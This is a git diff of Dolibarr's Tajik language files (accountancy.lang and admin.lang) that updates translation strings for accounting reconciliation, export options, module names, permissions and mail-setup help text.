муроҷиат кунед DescVentilTodoExpenseReport=Хатҳои ҳисоботи хароҷотро, ки аллакай бо ҳисоби баҳисобгирии пардохтҳо алоқаманд нестанд, пайваст кунед DescVentilExpenseReport=Дар ин ҷо ба рӯйхати хатҳои ҳисоботи хароҷот, ки ба суратҳисоби баҳисобгирӣ вобастаанд, муроҷиат кунед @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=Агар шумо ҳисоби баҳисобгир DescVentilDoneExpenseReport=Дар ин ҷо ба рӯйхати хатҳои ҳисобот дар бораи хароҷот ва ҳисоби баҳисобгирии хароҷоти онҳо муроҷиат кунед Closure=Бастани солона -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Ҳама гуна тағир ё нест кардани навиштан, навиштан ва нест кардан манъ карда мешавад. Ҳама сабтҳо барои машқ бояд тасдиқ карда шаванд, вагарна пӯшида намешавад ValidateHistory=Ба таври худкор пайваст кунед AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Хато, шумо наметавонед ин ҳисоби баҳисобгириро нест кунед, зеро он истифода мешавад +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Тавозун FicheVentilation=Корти ҳатмӣ GeneralLedgerIsWritten=Амалиётҳо дар дафтар навишта мешаванд GeneralLedgerSomeRecordWasNotRecorded=Баъзе транзаксияҳоро нашр кардан ғайриимкон буд. Агар паёми хатогии дигар вуҷуд надошта бошад, ин шояд аз он сабаб бошад, ки онҳо аллакай рӯзноманигор буданд. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Рӯйхати маҳсулоте, ки ба ягон ҳисоби баҳисобгирӣ вобастагӣ надоранд +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Пайвастшавиро тағир диҳед Accounted=Дар дафтари баҳисобгирӣ NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=Амалиётҳои гуногун AccountingJournalType2=Фурӯш AccountingJournalType3=Харидҳо AccountingJournalType4=Бонк -AccountingJournalType5=Ҳисобот оид ба хароҷот +AccountingJournalType5=Expense reports AccountingJournalType8=Инвентаризатсия AccountingJournalType9=Нав-дорад +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Ин маҷалла аллакай истифода мешавад AccountingAccountForSalesTaxAreDefinedInto=Эзоҳ: Ҳисоби баҳисобгирии андоз аз фурӯш дар менюи %s - %s муайян карда шудааст NumberOfAccountancyEntries=Шумораи сабтҳо @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Шумораи ҳаракатҳо ACCOUNTING_DISABLE_BINDING_ON_SALES=Ҳатмӣ ва интиқол дар муҳосибот дар фурӯшро хомӯш кунед (фактураҳои муштариён ҳангоми баҳисобгирӣ ба назар гирифта намешаванд) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Ҳатмӣ ва интиқол дар муҳосибот ҳангоми харидро хомӯш кунед (фактураҳои фурӯшанда ҳангоми баҳисобгирӣ ба назар гирифта намешаванд) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Ҳатмӣ ва интиқол дар муҳосибот дар ҳисоботи хароҷотро хомӯш кунед (ҳисоботи хароҷот ҳангоми баҳисобгирӣ ба назар гирифта намешаванд) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Тасдиқи тавлиди файли содироти баҳисобгирӣ? ExportDraftJournal=Содироти маҷаллаи лоиҳа @@ -389,7 +406,7 @@ SaleLocal=Фурӯши маҳаллӣ SaleExport=Фурӯши содирот SaleEEC=Фурӯш дар EEC SaleEECWithVAT=Фурӯш дар ИАА бо арзиши иловашуда бо арзиши иловашуда бекор нест, бинобар ин мо фикр мекунем, ки ин фурӯши дохилиидоравӣ нест ва ҳисоби пешниҳодшуда ҳисоби стандартии маҳсулот аст. -SaleEECWithoutVATNumber=Фурӯш дар ЕЭК бидуни андоз аз арзиши иловашуда, аммо ID -и ААИ аз тарафи сеюм муайян карда нашудааст. Мо аз ҳисоби маҳсулот барои фурӯши стандартӣ бармегардем. Агар лозим бошад, шумо метавонед ID ААИ -и тарафи сеюм ё ҳисоби маҳсулотро ислоҳ кунед. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Ҳисоб карда шудааст Formula=Формула ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Сабтҳои баҳисобгирӣ @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Рамзи бисёрҷониба (Idevise) DateExport=Содироти сана WarningReportNotReliable=Огоҳӣ, ин гузориш ба дафтарча асос наёфтааст, аз ин рӯ амалиётеро, ки дар дафтар ба таври дастӣ тағир дода шудааст, дар бар намегирад. Агар рӯзноманигории шумо нав бошад, назари ҳисобдорӣ дақиқтар аст. ExpenseReportJournal=Ҳисоботи хароҷоти рӯзнома -InventoryJournal=Маҷаллаи инвентаризатсия +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=ҳисобҳои %s diff --git a/htdocs/langs/tg_TJ/admin.lang b/htdocs/langs/tg_TJ/admin.lang index 996d1e86757..48ef4170a1c 100644 --- a/htdocs/langs/tg_TJ/admin.lang +++ b/htdocs/langs/tg_TJ/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Ҷамъоварии мизоҷон WarningModuleNotActive=Модули %s бояд фаъол карда шавад WarningOnlyPermissionOfActivatedModules=Дар ин ҷо танҳо иҷозатҳои марбут ба модулҳои фаъол нишон дода шудаанд. Шумо метавонед модулҳои дигарро дар саҳифаи Home-> Setup-> Modules фаъол созед. DolibarrSetup=Dolibarr насб ё навсозӣ кунед -InternalUser=Истифодабарандаи дохилӣ -ExternalUser=Истифодабарандаи беруна InternalUsers=Истифодабарандагони дохилӣ ExternalUsers=Истифодабарандагони беруна UserInterface=Интерфейси корбар @@ -147,6 +145,7 @@ Box=Виҷет Boxes=Виджетҳо MaxNbOfLinesForBoxes=Макс. шумораи сатрҳо барои виджетҳо AllWidgetsWereEnabled=Ҳама виджетҳои дастрас фаъоланд +WidgetAvailable=Widget available PositionByDefault=Тартиби пешфарз Position=Мавқеъ MenusDesc=Менеҷерони меню мундариҷаи ду сатри менюро (уфуқӣ ва амудӣ) муқаррар мекунанд. @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (арзиши пешфарз дар php.in MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Порт SMTP/SMTPS (Дар системаҳои ба Unix монанд ба PHP муайян нашудааст) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Хости SMTP/SMTPS (Дар системаҳои ба Unix монанд ба PHP муайян нашудааст) MAIN_MAIL_EMAIL_FROM=Почтаи ирсолкунанда барои мактубҳои автоматӣ (арзиши пешфарз дар php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Почтаи электронӣ, ки барои хатогӣ истифода мешавад, паёмҳои электрониро бармегардонад (майдонҳои 'Errors-To' дар мактубҳои фиристодашуда) MAIN_MAIL_AUTOCOPY_TO= Нусхабардорӣ (Bcc) ҳамаи мактубҳои ирсолшуда ба MAIN_DISABLE_ALL_MAILS=Ҳама фиристодани почтаи электрониро хомӯш кунед (бо мақсади санҷиш ё намоишҳо) @@ -375,7 +375,7 @@ DoTestSendHTML=Санҷиши фиристодани HTML ErrorCantUseRazIfNoYearInMask=Хато, ҳар сол наметавонад опсияи @ -ро барои аз нав танзимкунии ҳисобкунак истифода баред, агар пайдарпаии {yy} ё {yyyy} дар ниқоб набошад. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Хато, агар имкон надошта бошад, опсияи @ -ро истифода баред, агар пайдарпаии {yy} {mm} ё {yyyy} {mm} дар ниқоб набошад. UMask=Параметри UMask барои файлҳои нав дар системаи файлии Unix/Linux/BSD/Mac. -UMaskExplanation=Ин параметр ба шумо имкон медиҳад, ки иҷозатҳоро, ки бо нобаёнӣ ба файлҳои аз ҷониби Dolibarr дар сервер сохташуда муқаррар карда шудаанд, муайян кунед (масалан ҳангоми боргузорӣ).
      Он бояд арзиши ҳаштум бошад (масалан, 0666 маънои барои ҳама хондан ва навиштанро дорад).
      Ин параметр дар сервери Windows бефоида аст. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Ба рӯйхати саҳмгузорон ва ташкили онҳо ба саҳифаи Wiki нигаред UseACacheDelay= Таъхир барои кэш кардани посухи содиротӣ дар сонияҳо (0 ё холӣ барои бе кеш) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Беназир Boolean=Були (як қуттии қайд) ExtrafieldPhone = Телефон ExtrafieldPrice = Нарх +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Почтаи электронӣ ExtrafieldUrl = URL +ExtrafieldIP = IP ExtrafieldSelect = Рӯйхатро интихоб кунед ExtrafieldSelectList = Аз ҷадвал интихоб кунед ExtrafieldSeparator=Ҷудокунанда (майдон нест) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Қуттиҳои қайд ExtrafieldCheckBoxFromList=Қуттиҳои қайд аз ҷадвал ExtrafieldLink=Истинод ба объект ComputedFormula=Майдони ҳисобшуда -ComputedFormulaDesc=Шумо метавонед дар ин ҷо формуларо бо истифода аз дигар хосиятҳои объект ё ҳама гуна рамзгузории PHP ворид кунед, то арзиши динамикии ҳисобшударо ба даст оред. Шумо метавонед ҳама гуна формулаҳои мувофиқи PHP -ро истифода баред, аз ҷумла "?" оператори шартҳо ва объекти зерини глобалӣ: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      ҲУШДОР : Танҳо баъзе хосиятҳои $ object метавонанд дастрас бошанд. Агар ба шумо амволе лозим бошад, ки бор нашуда бошад, танҳо объекти худро ба формулаи худ ворид кунед, ба мисли мисоли дуввум.
      Истифодаи майдони ҳисобшуда маънои онро дорад, ки шумо наметавонед ба худ ягон интерфейсро ворид кунед. Инчунин, агар хатои синтаксис мавҷуд бошад, формула ҳеҷ чизро баргардонида наметавонад.

      Мисоли формула:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc)> )

      Мисол барои дубора бор кардани объект
      (($ reloadedobj = Societe ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id- $ obj-> $? > rowid: $ object-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Намунаи дигари формула барои маҷбур кардани сарбории объект ва объекти волои он: a0342fccfda19bzob (($ re $) )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = Лоиҳаи нав ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Лоиҳаи волидайн ёфт нашуд' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Майдони ҳисобшударо захира кунед ComputedpersistentDesc=Майдонҳои иловагии ҳисобшуда дар пойгоҳи додаҳо нигоҳ дошта мешаванд, аммо арзиши он танҳо ҳангоми тағир додани объекти ин майдон аз нав ҳисоб карда мешавад. Агар майдони ҳисобшуда аз дигар объектҳо ё маълумоти глобалӣ вобаста бошад, ин арзиш метавонад хато бошад !! ExtrafieldParamHelpPassword=Ин майдонро холӣ гузоштан маънои онро дорад, ки ин арзиш бидуни рамзгузорӣ нигоҳ дошта мешавад (майдон бояд танҳо бо ситора дар экран пинҳон карда шавад).
      'auto' -ро таъин кунед, то қоидаи рамзгузории пешфарзро барои захира кардани парол дар пойгоҳи дода истифода барад (он гоҳ арзиши хониш танҳо ҳашт хоҳад буд, ҳеҷ роҳе барои гирифтани арзиши аслӣ) @@ -477,7 +479,7 @@ InstalledInto=Дар феҳристи %s насб карда шудааст BarcodeInitForThirdparties=Барри коди оммавӣ барои шахсони сеюм BarcodeInitForProductsOrServices=Штрихкоди оммавӣ ё аз нав танзимкунии маҳсулот ё хидмат CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Ҳама арзишҳои штрих -кодро тоза кунед ConfirmEraseAllCurrentBarCode=Шумо мутмаинед, ки мехоҳед ҳамаи арзишҳои штрих -кодро нест кунед? AllBarcodeReset=Ҳама арзишҳои штрих -код хориҷ карда шуданд @@ -501,7 +503,8 @@ WarningPHPMail=ҲУШДОР: Танзимот барои фиристодани WarningPHPMailA=- Истифодаи сервери провайдери хидматрасони почтаи электронӣ эътимоднокии почтаи электронии шуморо афзоиш медиҳад, аз ин рӯ интиқолро бе нишонгузории SPAM афзоиш медиҳад. WarningPHPMailB=- Баъзе провайдерҳои хидматрасони почтаи электронӣ (ба монанди Yahoo) ба шумо имкон намедиҳанд, ки аз сервери дигар аз сервери худ паёми электронӣ фиристед. Танзимоти кунунии шумо сервери барномаро барои фиристодани почтаи электронӣ истифода мебарад, на сервери провайдери почтаи электронии шумо, аз ин рӯ баъзе гирандагон (оне, ки бо протоколи маҳдудкунандаи DMARC мувофиқ аст) аз провайдери почтаи электронии шумо мепурсанд, ки оё онҳо метавонанд почтаи электронии шуморо қабул кунанд ва баъзе провайдерҳои почтаи электронӣ (мисли Yahoo) метавонад "не" посух диҳад, зеро сервер аз они онҳо нест, аз ин рӯ шумораи ками мактубҳои фиристодаи шумо барои интиқол қабул карда намешаванд (инчунин аз квотаи ирсоли провайдери почтаи электронии худ эҳтиёт шавед). WarningPHPMailC=- Истифодаи сервери SMTP -и провайдери хидматрасони почтаи электронии худ барои фиристодани мактубҳо низ ҷолиб аст, аз ин рӯ ҳамаи мактубҳои аз барнома фиристодашуда низ дар феҳристи "Ирсолшуда" -и қуттии почтаи шумо сабт карда мешаванд. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Агар провайдери SMTP -и почтаи электронии шумо бояд муштарии почтаи электрониро бо баъзе суроғаҳои IP маҳдуд кунад (хеле кам), ин суроғаи IP -и агенти корбари почта (MUA) барои барномаи ERP CRM -и шумост: %s . WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Мисол:
      Барои шакл сох PageUrlForDefaultValuesList=
      Мисол:
      Барои саҳифае, ки шахсони сеюмро номбар мекунад, он %s аст.
      Барои URL -и модулҳои беруна, ки дар феҳристи фармоишӣ насб шудаанд, "custom/" - ро дар бар намегирад, аз ин рӯ роҳеро истифода баред mymodule/mypagelist.php , на custom/mymodule/mypagelist.php
      Агар шумо хоҳед, ки арзиши пешфарз танҳо дар он бошад, ки url ягон параметр дошта бошад, шумо метавонед %s истифода баред AlsoDefaultValuesAreEffectiveForActionCreate=Инчунин дар хотир доред, ки аз нав сабт кардани арзишҳои пешфарз барои эҷоди шакл танҳо барои саҳифаҳое тарҳрезӣ шудааст, ки дуруст тарҳрезӣ шудаанд (ҳамин тавр бо параметр = action = create or presend ...) EnableDefaultValues=Танзими арзишҳои пешфарзро фаъол созед -EnableOverwriteTranslation=Истифодаи тарҷумаи аз нав сабтшударо фаъол созед +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Тарҷумаи калид бо ин рамз пайдо шудааст. Барои тағир додани ин арзиш, шумо бояд онро аз тарҷумаи Home-Setup-вироиш кунед. WarningSettingSortOrder=Огоҳӣ, муқаррар кардани фармони пешфарз метавонад ҳангоми ба саҳифаи рӯйхат рафтан ба хатои техникӣ оварда расонад, агар майдон майдони номаълум бошад. Агар шумо чунин хатогиро эҳсос кунед, ба ин саҳифа баргардед, то тартиботи пешфарзро хориҷ кунед ва рафтори пешфарзро барқарор кунед. Field=Майдон @@ -643,11 +646,13 @@ Module2300Name=Корҳои ба нақша гирифташуда Module2300Desc=Идоракунии банақшагирифтаи корҳо (тахаллуси cron ё ҷадвали хроно) Module2400Name=Рӯйдодҳо/рӯзнома Module2400Desc=Ҳодисаҳоро пайгирӣ кунед. Ҳодисаҳои автоматиро бо мақсади пайгирӣ сабт кунед ё рӯйдодҳо ё вохӯриҳои дастиро сабт кунед. Ин модули асосӣ барои идоракунии муносибатҳои хуб бо муштариён ё фурӯшандагон мебошад. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Системаи идоракунии ҳуҷҷатҳо / Идоракунии мундариҷаи электронӣ. Ташкили худкори ҳуҷҷатҳои тавлидшуда ё захирашудаи шумо. Ҳангоми зарурат онҳоро мубодила кунед. -Module2600Name=Хидматҳои API/Web (сервери SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Сервери Dolibarr SOAP -ро, ки хидматҳои API -ро пешниҳод мекунад, фаъол созед -Module2610Name=Хидматҳои API/Web (сервери REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Сервери Dolibarr REST -ро, ки хидматҳои API -ро пешниҳод мекунад, фаъол созед Module2660Name=Ба WebServices занг занед (муштарии SOAP) Module2660Desc=Мизоҷи хидматҳои вебии Dolibarr -ро фаъол созед (Онро барои интиқоли маълумот/дархостҳо ба серверҳои беруна истифода бурдан мумкин аст. Айни замон танҳо фармоишҳои харид дастгирӣ карда мешаванд.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Имкониятҳои табдили GeoIP Maxmind Module3200Name=Архивҳои тағирнопазир Module3200Desc=Журнали тағирнопазири рӯйдодҳои тиҷоратиро фаъол созед. Чорабиниҳо дар вақти воқеӣ бойгонӣ карда мешаванд. Журнал як ҷадвали рӯйдодҳои занҷирбанд аст, ки онҳоро содир кардан мумкин аст. Ин модул метавонад барои баъзе кишварҳо ҳатмӣ бошад. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Шабакаҳои иҷтимоӣ Module3400Desc=Майдонҳои шабакаҳои иҷтимоиро ба шахсони сеюм ва суроғаҳо (скайп, twitter, facebook, ...) фаъол созед. Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Инкотермс Module62000Desc=Илова кардани хусусиятҳо барои идоракунии Incoterms Module63000Name=Манбаъҳо Module63000Desc=Идоракунии захираҳо (принтерҳо, мошинҳо, ҳуҷраҳо, ...) барои тақсим кардани чорабиниҳо -Permission11=Ҳисобномаҳои муштариёнро хонед +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Ҳисобнома -фактураҳои муштариёнро эҷод/тағир диҳед Permission13=Ҳисобнома -фактураҳои муштариёнро беэътибор кунед Permission14=Ҳисобнома -фактураҳои муштариёнро тасдиқ кунед @@ -714,6 +724,7 @@ Permission27=Пешниҳодҳои тиҷоратиро нест кунед Permission28=Пешниҳодҳои тиҷоратиро содир кунед Permission31=Маҳсулотро хонед Permission32=Маҳсулотро эҷод/тағир диҳед +Permission33=Read prices products Permission34=Маҳсулотро нест кунед Permission36=Маҳсулоти пинҳоншударо бинед/идора кунед Permission38=Маҳсулотларни экспорт қилиш @@ -739,6 +750,7 @@ Permission79=Эҷод/тағир додани обунаҳо Permission81=Фармоишҳои муштариёнро хонед Permission82=Фармоишҳои муштариёнро эҷод/тағир диҳед Permission84=Фармоишҳои муштариёнро тасдиқ кунед +Permission85=Generate the documents sales orders Permission86=Ба мизоҷон фармоиш фиристед Permission87=Фармоишҳои муштариёнро пӯшед Permission88=Фармоишҳои муштариёнро бекор кунед @@ -840,9 +852,9 @@ Permission286=Тамосҳои содиротӣ Permission291=Тарифҳоро хонед Permission292=Иҷозатномаҳоро дар тарофаҳо таъин кунед Permission293=Тарофаҳои мизоҷонро тағир диҳед -Permission300=Баркодҳоро хонед -Permission301=Баркодҳоро эҷод/тағир диҳед -Permission302=Баркодҳоро нест кунед +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Хидматҳоро хонед Permission312=Хизмат/обуна ба шартнома таъин кунед Permission331=Хатчӯбҳоро хонед @@ -874,6 +886,7 @@ Permission525=Ҳисобкунаки қарзро дастрас кунед Permission527=Қарзҳои содиротӣ Permission531=Хидматҳоро хонед Permission532=Хидматҳоро эҷод/тағир диҳед +Permission533=Read prices services Permission534=Хидматҳоро нест кунед Permission536=Хидматҳои пинҳонро бинед/идора кунед Permission538=Хидматҳои содиротӣ @@ -937,7 +950,7 @@ Permission1190=Фармонҳои харидро тасдиқ кунед (тас Permission1191=Фармоишҳои молрасон ва хусусиятҳои онҳоро содир кунед Permission1201=Натиҷаи содиротро ба даст оред Permission1202=Эҷод/тағир додани содирот -Permission1231=Ҳисобнома -фактураҳои фурӯшандаро хонед +Permission1231=Read vendor invoices (and payments) Permission1232=Эҷод/тағир додани фактураҳои фурӯшанда Permission1233=Ҳисобнома -фактураҳои фурӯшандаро тасдиқ кунед Permission1234=Ҳисобнома -фактураҳои фурӯшандаро нест кунед @@ -968,13 +981,14 @@ Permission3301=Модулҳои нав эҷод кунед Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Мундариҷаи вебсайтро хонед Permission10002=Эҷод/тағир додани мундариҷаи вебсайт (мундариҷаи html ва javascript) Permission10003=Эҷод/тағир додани мундариҷаи вебсайт (коди динамикии php). Хатарнок, бояд ба таҳиягарони маҳдуд ҳифз карда шавад. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Навъи воҳид SetupSaved=Танзимот захира карда шуд SetupNotSaved=Танзимот захира карда нашудааст +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Бозгашт ба рӯйхати модулҳо BackToDictionaryList=Бозгашт ба рӯйхати луғатҳо TypeOfRevenueStamp=Навъи мӯҳри андоз @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      Ин нармафзор SetupDescription5=Дигар вурудоти менюи Танзимот параметрҳои ихтиёриро идора мекунанд. SetupDescriptionLink= %s - %s SetupDescription3b=Параметрҳои асосӣ, ки барои танзими рафтори пешфарзии барномаи шумо истифода мешаванд (масалан, барои хусусиятҳои марбут ба кишвар). -SetupDescription4b=Ин нармафзор маҷмӯи бисёр модулҳо/барномаҳо мебошад. Модулҳои марбут ба ниёзҳои шумо бояд фаъол ва танзим карда шаванд. Воридоти меню бо фаъолсозии ин модулҳо пайдо мешаванд. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Ҳодисаҳои амниятӣ, ки тафтиш карда мешаванд NoSecurityEventsAreAduited=Ҳеҷ гуна рӯйдодҳои амниятӣ тафтиш карда намешаванд. Шумо метавонед онҳоро аз менюи %s фаъол созед Audit=Чорабиниҳои амниятӣ @@ -1235,11 +1253,13 @@ BrowserName=Номи браузер BrowserOS=Браузери OS ListOfSecurityEvents=Рӯйхати рӯйдодҳои амниятии Dolibarr SecurityEventsPurged=Чораҳои амниятӣ тоза карда шуданд +TrackableSecurityEvents=Trackable security events LogEventDesc=Сабтро барои рӯйдодҳои мушаххаси амниятӣ фаъол созед. Администраторҳо гузоришро тавассути менюи %s - %s меноманд. Огоҳӣ, ин хусусият метавонад миқдори зиёди маълумотро дар пойгоҳи дода тавлид кунад. AreaForAdminOnly=Параметрҳои танзимро танҳо корбарони администратор танзим карда метавонанд. SystemInfoDesc=Маълумоти система маълумоти мухталифи техникист, ки шумо дар ҳолати танҳо хондан мегиред ва танҳо барои маъмурон намоён аст. SystemAreaForAdminOnly=Ин минтақа танҳо барои корбарони администратор дастрас аст. Иҷозатҳои корбарони Dolibarr ин маҳдудиятро тағир дода наметавонанд. CompanyFundationDesc=Маълумоти ширкат/ташкилоти худро таҳрир кунед. Ҳангоми анҷом додан тугмаи "%s" -ро дар поёни саҳифа клик кунед. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Агар шумо муҳосиб/муҳосиби беруна дошта бошед, шумо метавонед маълумоти онро дар ин ҷо таҳрир кунед. AccountantFileNumber=Рамзи муҳосиб DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1257,6 +1277,7 @@ 